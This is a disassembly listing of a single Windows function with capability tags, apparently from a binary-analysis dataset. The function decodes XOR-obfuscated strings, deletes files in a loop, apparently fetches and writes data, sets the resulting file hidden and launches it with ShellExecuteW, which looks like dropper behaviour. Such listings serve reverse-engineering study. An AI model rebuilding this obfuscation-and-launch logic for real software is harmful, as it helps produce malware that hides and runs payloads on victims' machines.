Function at 0x140057250
Capabilities:
Check if file exists
Delete file
Enumerate files on windows
Enumerate files recursively
Get file attributes

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x718
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x690], 0xfffffffffffffffe
mov qword [rbp + 0x338], rcx
mov ecx, 9
mov edx, 0x41
mov r8d, 0x5a
call fcn.14005b8f0
mov rdi, rax
xorps xmm0, xmm0
movaps xmmword [rbp + 0x570], xmm0
movaps xmmword [rbp + 0x580], xmm0
mov rcx, rax
call fcn.14035e29c
mov rbx, rax
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
jae 0x140057dce
movabs rcx, 0x7ffffffffffffffe
cmp rbx, 7
ja 0x140057309
mov qword [rbp + 0x580], rbx
mov qword [rbp + 0x588], 7
lea r8, [rbx + rbx]
lea rcx, [rbp + 0x570]
mov rdx, rdi
call fcn.14033b0d0
lea rax, [rbx*2 + 0x570]
add rax, rbp
jmp 0x140057391
mov rax, rbx
or rax, 7
cmp rax, rcx
ja 0x1400584b0
cmp rax, 0xb
mov esi, 0xa
cmovae rsi, rax
lea rcx, [rsi + rsi]
cmp rsi, 0x7ff
jb 0x14005735d
movabs rax, 0x7fffffffffffffec
cmp rsi, rax
jae 0x1400584b0
add rcx, 0x29
call fcn.14016e094
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x140057369
add rcx, 2
call fcn.14016e094
mov r14, rax
mov qword [rbp + 0x570], r14
mov qword [rbp + 0x580], rbx
mov qword [rbp + 0x588], rsi
lea r8, [rbx + rbx]
mov rcx, r14
mov rdx, rdi
call fcn.14033b0d0
lea rax, [r14 + rbx*2]
mov word [rax], 0
lea rcx, [rbp + 0x570]
call fcn.14005bac0
movabs rsi, 0x71fed560c2279659
mov qword [rbp - 0x40], rsi
mov rax, qword [rbp - 0x40]
mov qword [rbp + 0x340], rax
movabs rax, 0x93a74733c2e7dae2
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x40]
mov qword [rbp + 0x348], rax
movabs rax, 0x9cadf675f7922f01
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x40]
mov qword [rbp + 0x350], rax
movabs rax, 0x37dc0f39b596c3ff
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x40]
mov qword [rbp + 0x358], rax
movabs rax, 0x719bd516c2429637
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x40]
mov qword [rbp - 0x40], rax
movabs rax, 0x93ca4747c2cdda90
mov qword [rbp + 0x210], rax
mov rax, qword [rbp + 0x210]
mov qword [rbp - 0x38], rax
movabs rax, 0x9cd5f610f7bc2f71
mov qword [rbp + 0x210], rax
mov rax, qword [rbp + 0x210]
mov qword [rbp - 0x30], rax
movabs rax, 0x37dc0f39b596c39a
mov qword [rbp + 0x210], rax
mov rax, qword [rbp + 0x210]
mov qword [rbp - 0x28], rax
lea rax, [rbp - 0x40]
mov qword [rbp + 0x210], rax
mov rax, qword [rbp + 0x210]
movaps xmm0, xmmword [rbp + 0x340]
movaps xmm1, xmmword [rbp + 0x350]
xorps xmm0, xmmword [rax]
movaps xmmword [rbp + 0x340], xmm0
xorps xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0x350], xmm1
lea rbx, [rbp + 0x340]
lea rdx, [rbp - 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp rax, 0xffffffffffffffff
je 0x1400574fb
mov r14, rax
lea r15, [rbp - 0x14]
mov rdi, qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea r12, [rbp - 0x40]
mov r13, qword [sym.imp.KERNEL32.dll_FindNextFileW]
nop dword [rax + rax]
mov rcx, r15
call rdi
mov rcx, r14
mov rdx, r12
call r13
test eax, eax
jne 0x1400574e0
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FindClose]
movabs rax, 0x71b5d566c22f9643
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x210], rax
movabs rax, 0x93ca4722c2b5daf5
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x218], rax
movabs rdx, 0x719bd516c2429637
mov qword [rbp + 0x340], rdx
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x340], rax
movabs rcx, 0x93ca4747c2cdda90
mov qword [rbp + 0x590], rcx
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x348], rax
mov qword [rbp + 0x590], rbx
mov rax, qword [rbp + 0x590]
movaps xmm0, xmmword [rbp + 0x210]
xorps xmm0, xmmword [rax]
movaps xmmword [rbp + 0x210], xmm0
mov qword [rbp + 0x340], rsi
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x590], rax
movabs rax, 0x93ca4747c2cddae2
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x598], rax
mov qword [rbp + 0x340], rdx
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x340], rax
mov qword [rbp + 0x630], rcx
mov rax, qword [rbp + 0x630]
mov qword [rbp + 0x348], rax
mov qword [rbp + 0x630], rbx
mov rax, qword [rbp + 0x630]
movaps xmm0, xmmword [rbp + 0x590]
xorps xmm0, xmmword [rax]
movaps xmmword [rbp + 0x590], xmm0
lea rcx, [rbp + 0x590]
call fcn.14035e29c
mov r15, rax
mov r14, qword [rbp + 0x580]
movabs rcx, 0x7ffffffffffffffe
mov rax, rcx
sub rax, r14
cmp rax, r15
jb 0x140057dd3
mov r12, qword [rbp + 0x570]
mov r13, qword [rbp + 0x588]
xorps xmm0, xmm0
movaps xmmword [rbp + 0x340], xmm0
movaps xmmword [rbp + 0x350], xmm0
lea rsi, [r14 + r15]
mov edi, 7
cmp rsi, 8
jb 0x1400576da
mov rax, rsi
or rax, 7
cmp rax, rcx
ja 0x1400584b5
cmp rax, 0xb
mov edi, 0xa
cmovae rdi, rax
lea rcx, [rdi + rdi]
cmp rdi, 0x7ff
jb 0x1400576c7
movabs rax, 0x7fffffffffffffec
cmp rdi, rax
jae 0x1400584b5
add rcx, 0x29
call fcn.14016e094
mov rbx, rax
add rbx, 0x27
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x1400576d3
add rcx, 2
call fcn.14016e094
mov rbx, rax
mov qword [rbp + 0x340], rbx
cmp r13, 8
lea r13, [rbp + 0x570]
cmovae r13, r12
mov qword [rbp + 0x350], rsi
mov qword [rbp + 0x358], rdi
lea r8, [r15 + r15]
lea rdx, [rbp + 0x590]
mov rcx, rbx
call fcn.14033b0d0
lea rcx, [rbx + r15*2]
add r14, r14
mov rdx, r13
mov r8, r14
call fcn.14033b0d0
mov word [rbx + rsi*2], 0
lea rbx, [rbp + 0x210]
mov rcx, rbx
call fcn.14035e29c
mov rcx, qword [rbp + 0x350]
mov rdx, qword [rbp + 0x358]
mov r8, rdx
sub r8, rcx
cmp r8, rax
jae 0x14005776a
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x340]
lea r9, [rbp + 0x210]
mov rdx, rax
call fcn.140031e90
mov rdi, rax
jmp 0x1400577a9
lea rsi, [rcx + rax]
mov qword [rbp + 0x350], rsi
lea rdi, [rbp + 0x340]
mov r14, rdi
cmp rdx, 8
jb 0x14005778c
mov r14, qword [rbp + 0x340]
lea rcx, [r14 + rcx*2]
add rax, rax
lea rdx, [rbp + 0x210]
mov r8, rax
call fcn.14033b0d0
mov word [r14 + rsi*2], 0
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movaps xmmword [rbp + 0x640], xmm1
movaps xmmword [rbp + 0x630], xmm0
mov qword [rdi + 0x10], 0
mov qword [rdi + 0x18], 7
mov word [rdi], 0
mov rax, qword [rbp + 0x358]
cmp rax, 8
jb 0x14005781f
mov rcx, qword [rbp + 0x340]
lea rdx, [rax + rax]
add rdx, 2
cmp rdx, 0x1000
jb 0x14005781a
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140057dc9
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.14016e0d8
mov r14, qword [0x1406b53b0]
mov r15, qword [str.16Y_SmDXW0Ub2BD7mOhE9DlBQ2bK0g_vuFdp9Wz62l8vLjcM_WLO]
movabs rax, 0x18efb071ed2be656
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x590], rax
movabs rax, 0xfdaf2c28b6f2b0fe
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x598], rax
movabs rax, 0x9cd5f610f7bc2f4c
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x5a0], rax
movabs rcx, 0x37dc0f39b596c39a
mov qword [rbp + 0x340], rcx
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x5a8], rax
movabs rax, 0x719bd516c2429637
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x340], rax
movabs rax, 0x93ca4747c2cdda90
mov qword [rbp + 0x210], rax
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x348], rax
movabs rax, 0x9cd5f610f7bc2f71
mov qword [rbp + 0x210], rax
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x350], rax
mov qword [rbp + 0x210], rcx
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x358], rax
lea rdi, [rbp + 0x340]
mov qword [rbp + 0x210], rdi
mov rax, qword [rbp + 0x210]
movaps xmm0, xmmword [rbp + 0x590]
xorps xmm0, xmmword [rax]
movaps xmm1, xmmword [rbp + 0x5a0]
movaps xmmword [rbp + 0x590], xmm0
xorps xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0x5a0], xmm1
xorps xmm0, xmm0
movaps xmmword [rbp + 0x210], xmm0
movaps xmmword [rbp + 0x220], xmm0
lea r13, [rbp + 0x590]
mov rcx, r13
call fcn.14035cc50
test rax, rax
js 0x140057dd8
mov r12, rax
cmp rax, 0xf
ja 0x1400579b9
mov qword [rbp + 0x220], r12
mov qword [rbp + 0x228], reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x210]
lea rdx, [rbp + 0x590]
mov r8, r12
call fcn.14033b0d0
add r12, rbp
add r12, 0x210
jmp 0x140057a38
mov qword [rbp + 0x228], reloc.WS2_32.dll_ntohs
mov rax, r12
or rax, 0xf
cmp rax, 0x17
mov esi, reloc.WS2_32.dll_shutdown
cmovae rsi, rax
cmp rsi, 0xfff
jb 0x1400579fb
lea rcx, [rsi + 0x28]
call fcn.14016e094
mov r13, rax
add r13, 0x27
and r13, 0xffffffffffffffe0
mov qword [r13 - 8], rax
jmp 0x140057a07
lea rcx, [rsi + 1]
call fcn.14016e094
mov r13, rax
mov qword [rbp + 0x210], r13
mov qword [rbp + 0x220], r12
mov qword [rbp + 0x228], rsi
lea rdx, [rbp + 0x590]
mov rcx, r13
mov r8, r12
call fcn.14033b0d0
add r12, r13
lea r13, [rbp + 0x590]
mov byte [r12], 0
mov rcx, r15
call fcn.14035cc50
mov rcx, qword [rbp + 0x220]
mov rdx, qword [rbp + 0x228]
mov r8, rdx
sub r8, rcx
cmp r8, rax
jae 0x140057a7a
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x210]
mov rdx, rax
mov r9, r15
call fcn.14000fca0
mov rbx, rax
jmp 0x140057aaa
mov rsi, rax
add rsi, rcx
mov qword [rbp + 0x220], rsi
mov r12, rbx
cmp rdx, 0x10
jb 0x140057a97
mov r12, qword [rbp + 0x210]
add rcx, r12
mov rdx, r15
mov r8, rax
call fcn.14033b0d0
mov byte [r12 + rsi], 0
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
movaps xmmword [rbp + 0x350], xmm1
movaps xmmword [rbp + 0x340], xmm0
mov qword [rbx + 0x10], 0
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rax, qword [rbp + 0x350]
cmp qword [rbp + 0x358], 0x10
jb 0x140057aea
mov rdi, qword [rbp + 0x340]
mov qword [rbp + 0x650], rdi
mov qword [rbp + 0x658], rax
mov rax, qword [r14]
mov rax, qword [rax + 0x18]
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
mov qword [rsp + 0x38], 0
mov byte [rsp + 0x20], 0
lea rbx, [rbp + 0x318]
lea r8, [rbp + 0x650]
mov rcx, r14
mov rdx, rbx
xor r9d, r9d
call rax
mov rax, qword [rbp + 0x358]
cmp rax, 0x10
jb 0x140057b73
mov rcx, qword [rbp + 0x340]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x140057b6e
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140057dc9
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.14016e0d8
mov qword [rbp + 0x350], 0
mov qword [rbp + 0x358], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x340], 0
mov rax, qword [rbp + 0x228]
cmp rax, 0x10
jb 0x140057bd5
mov rcx, qword [rbp + 0x210]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x140057bd0
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140057dc9
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.14016e0d8
cmp qword [rbp + 0x648], 8
jb 0x140057be8
mov rdx, qword [rbp + 0x630]
jmp 0x140057bef
lea rdx, [rbp + 0x630]
mov dword [rsp + 0x20], 1
lea rcx, [rbp + 0x210]
mov r8d, 0x20
mov r9d, 0x40
call fcn.1400303b0
mov r8, qword [rbp + 0x328]
cmp r8, 0x1e8480
jbe 0x140057ddd
cmp qword [rbp + 0x330], 0x10
jb 0x140057c34
mov rbx, qword [rbp + 0x318]
lea rcx, [rbp + 0x210]
mov rdx, rbx
call fcn.14004fcf0
lea rcx, [rbp + 0x210]
call fcn.140020fc0
cmp qword [rbp + 0x648], 8
jb 0x140057c62
mov rcx, qword [rbp + 0x630]
jmp 0x140057c69
lea rcx, [rbp + 0x630]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x14005849d
mov rcx, qword [rbp + 0x338]
call fcn.140057250
lea rsi, [rbp + 0x2b8]
mov rax, qword [rbp + 0x210]
movsxd rax, dword [rax + 4]
lea rcx, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rax + 0x210], rcx
mov rax, qword [rbp + 0x210]
movsxd rax, dword [rax + 4]
lea ecx, [rax - 0xa8]
mov dword [rbp + rax + 0x20c], ecx
lea rcx, [rbp + 0x218]
call fcn.140023760
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x2b8], rax
mov rcx, rsi
call fcn.14016e6c0
mov rax, qword [rbp + 0x330]
cmp rax, 0x10
jb 0x140057d24
mov rcx, qword [rbp + 0x318]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x140057d1f
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140057dc9
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.14016e0d8
mov rax, qword [rbp + 0x648]
cmp rax, 8
jb 0x140057d6c
mov rcx, qword [rbp + 0x630]
lea rdx, [rax + rax]
add rdx, 2
cmp rdx, 0x1000
jb 0x140057d67
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140057dc9
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.14016e0d8
mov rax, qword [rbp + 0x588]
cmp rax, 8
jb 0x140057db4
mov rcx, qword [rbp + 0x570]
lea rdx, [rax + rax]
add rdx, 2
cmp rdx, 0x1000
jb 0x140057daf
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140057dc9
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.14016e0d8
nop
add rsp, 0x718
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call fcn.14034f98c
call fcn.140005810
call fcn.140005810
call fcn.140005810
movabs rax, 0x71f4d564c2309672
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x650], rax
movabs rax, 0x93fb471cc2eddae2
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x658], rax
movabs rax, 0x9cd5f610f7bc2f2c
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x660], rax
movabs r9, 0x37dc0f39b596c39a
mov qword [rbp + 0x340], r9
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x668], rax
movabs r8, 0x719bd516c2429637
mov qword [rbp + 0x340], r8
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x340], rax
movabs rdx, 0x93ca4747c2cdda90
mov qword [rbp + 0x590], rdx
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x348], rax
movabs r10, 0x9cd5f610f7bc2f71
mov qword [rbp + 0x590], r10
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x350], rax
mov qword [rbp + 0x590], r9
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x358], rax
lea rax, [rbp + 0x340]
mov qword [rbp + 0x590], rax
mov rcx, qword [rbp + 0x590]
movaps xmm0, xmmword [rbp + 0x650]
xorps xmm0, xmmword [rcx]
movaps xmm1, xmmword [rbp + 0x660]
movaps xmmword [rbp + 0x650], xmm0
xorps xmm1, xmmword [rcx + 0x10]
movaps xmmword [rbp + 0x660], xmm1
movabs rcx, 0x71fed578c2629676
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x590], rcx
movabs rcx, 0x93b84728c2badae4
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x598], rcx
movabs rcx, 0x9ca7f675f79c2f1a
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5a0], rcx
movabs rcx, 0x37fc0f4bb5f9c3e8
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5a8], rcx
movabs rcx, 0xe83373a9a66bef74
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5b0], rcx
movabs rcx, 0x28b6cd7e6284c246
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5b8], rcx
movabs rcx, 0xae997634021f09c9
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5c0], rcx
movabs rcx, 0x8813c30e43dab81b
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5c8], rcx
movabs rcx, 0x1a7d13861f26f67f
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5d0], rcx
movabs rcx, 0xc9c5245f79720bbb
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5d8], rcx
movabs rcx, 0xc46569baf0e0b356
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5e0], rcx
movabs rcx, 0x92f86ac5e65615cb
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5e8], rcx
movabs rcx, 0xc0a7428792f782b1
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5f0], rcx
movabs rcx, 0xd7560a7c575e2cfc
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5f8], rcx
movabs rcx, 0x58716c7f08706b83
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x600], rcx
movabs rcx, 0x64d757b8e07a9ef
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x608], rcx
movabs rcx, 0x971c57a2af09d526
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x610], rcx
movabs rcx, 0x4631240e1a2c8b54
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x618], rcx
movabs rcx, 0x8f83d921266e77e0
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x620], rcx
movabs rcx, 0x151ee8e92b3a97c4
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x628], rcx
mov qword [rbp + 0x340], r8
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x340], rcx
mov qword [rbp + 0x670], rdx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x348], rcx
mov qword [rbp + 0x670], r10
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x350], rcx
mov qword [rbp + 0x670], r9
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x358], rcx
movabs rcx, 0xe84673caa608ef1b
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x360], rcx
movabs rcx, 0x28d2cd1b62f6c234
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x368], rcx
movabs rcx, 0xaef57644023f09e5
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x370], rcx
movabs rcx, 0x8876c37d43bbb87e
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x378], rcx
movabs rcx, 0x1a1813ee1f45f65f
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x380], rcx
movabs rcx, 0xc9bc247f79190bd8
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x388], rcx
movabs rcx, 0xc44569c8f095b339
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x390], rcx
movabs rcx, 0x929d6ab1e6381582
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x398], rcx
movabs rcx, 0xc0d342e2929982c3
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x3a0], rcx
movabs rcx, 0xd7380a13573d2cdc
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x3a8], rcx
movabs rcx, 0x58056c1c08156bed
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x3b0], rcx
movabs rcx, 0x66d75158e68a986
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x3b8], rcx
movabs rcx, 0x973c57c6af67d547
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x3c0], rcx
movabs rcx, 0x461124771a5e8b20
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x3c8], rcx
movabs rcx, 0x8fead94026097781
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x3d0], rcx
movabs rcx, 0x151ee8e92b1497aa
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x3d8], rcx
mov qword [rbp + 0x670], rax
mov rax, qword [rbp + 0x670]
movaps xmm0, xmmword [rbp + 0x590]
movaps xmm1, xmmword [rbp + 0x5a0]
movaps xmm2, xmmword [rbp + 0x5b0]
xorps xmm0, xmmword [rax]
movaps xmm3, xmmword [rbp + 0x5c0]
movaps xmmword [rbp + 0x590], xmm0
xorps xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0x5a0], xmm1
xorps xmm2, xmmword [rax + 0x20]
movaps xmmword [rbp + 0x5b0], xmm2
xorps xmm3, xmmword [rax + 0x30]
movaps xmmword [rbp + 0x5c0], xmm3
movaps xmm0, xmmword [rbp + 0x5d0]
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rbp + 0x5d0], xmm0
movaps xmm0, xmmword [rbp + 0x5e0]
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rbp + 0x5e0], xmm0
movaps xmm0, xmmword [rbp + 0x5f0]
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rbp + 0x5f0], xmm0
movaps xmm0, xmmword [rbp + 0x600]
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rbp + 0x600], xmm0
movaps xmm0, xmmword [rbp + 0x610]
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rbp + 0x610], xmm0
movaps xmm0, xmmword [rbp + 0x620]
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rbp + 0x620], xmm0
lea rdx, [rbp + 0x590]
lea r8, [rbp + 0x650]
xor ecx, ecx
mov r9d, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_MessageBoxW]
xor ecx, ecx
call fcn.14034c32c
cmp qword [rbp + 0x648], 8
jb 0x1400584ba
mov rcx, qword [rbp + 0x630]
jmp 0x1400584c1
call fcn.1400041a0
call fcn.1400041a0
lea rcx, [rbp + 0x630]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rbx, [rbp + 0x340]
xor ecx, ecx
mov rdx, rbx
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rbp + 0x670]
mov rdx, rbx
call fcn.1400021a0
movabs rax, 0x71ffd566c237961a
mov qword [rbp + 0x590], rax
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x550], rax
movabs rax, 0x93ea4722c2b9daf1
mov qword [rbp + 0x590], rax
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x558], rax
movabs rax, 0x9cd5f610f7bc2f53
mov qword [rbp + 0x590], rax
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x560], rax
movabs rcx, 0x37dc0f39b596c39a
mov qword [rbp + 0x590], rcx
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x568], rax
movabs rax, 0x719bd516c2429637
mov qword [rbp + 0x590], rax
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x590], rax
movabs rax, 0x93ca4747c2cdda90
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x598], rax
movabs rax, 0x9cd5f610f7bc2f71
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x5a0], rax
mov qword [rbp + 0x650], rcx
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x5a8], rax
mov qword [rbp + 0x650], r13
mov rax, qword [rbp + 0x650]
movaps xmm0, xmmword [rbp + 0x550]
movaps xmm1, xmmword [rbp + 0x560]
xorps xmm0, xmmword [rax]
movaps xmmword [rbp + 0x550], xmm0
xorps xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0x560], xmm1
lea rcx, [rbp + 0x650]
lea rdx, [rbp + 0x550]
lea r8, [rbp + 0x670]
call fcn.1400589c0
lea r8, [0x1403fccd0]
lea rbx, [rbp + 0x590]
lea rdx, [rbp + 0x650]
mov rcx, rbx
call fcn.140056790
lea rdi, [rbp + 0x650]
mov rcx, rdi
call fcn.140004040
lea rcx, [rbp + 0x670]
call fcn.140004040
cmp qword [rbp + 0x5a8], 8
jb 0x140058675
mov rbx, qword [rbp + 0x590]
cmp qword [rbp + 0x648], 8
jb 0x140058688
mov r8, qword [rbp + 0x630]
jmp 0x14005868f
lea r8, [rbp + 0x630]
movabs rax, 0x71f5d573c2329658
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x670], rax
movabs rcx, 0x93ca4747c2cdda90
mov qword [rbp + 0x650], rcx
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x678], rax
movabs rax, 0x719bd516c2429637
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x650], rax
mov qword [rbp + 0x550], rcx
mov rax, qword [rbp + 0x550]
mov qword [rbp + 0x658], rax
mov qword [rbp + 0x550], rdi
mov rax, qword [rbp + 0x550]
movaps xmm0, xmmword [rbp + 0x670]
xorps xmm0, xmmword [rax]
movaps xmmword [rbp + 0x670], xmm0
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], 0
lea rdx, [rbp + 0x670]
xor ecx, ecx
mov r9, rbx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
xor ecx, ecx
call fcn.14034c32c
int3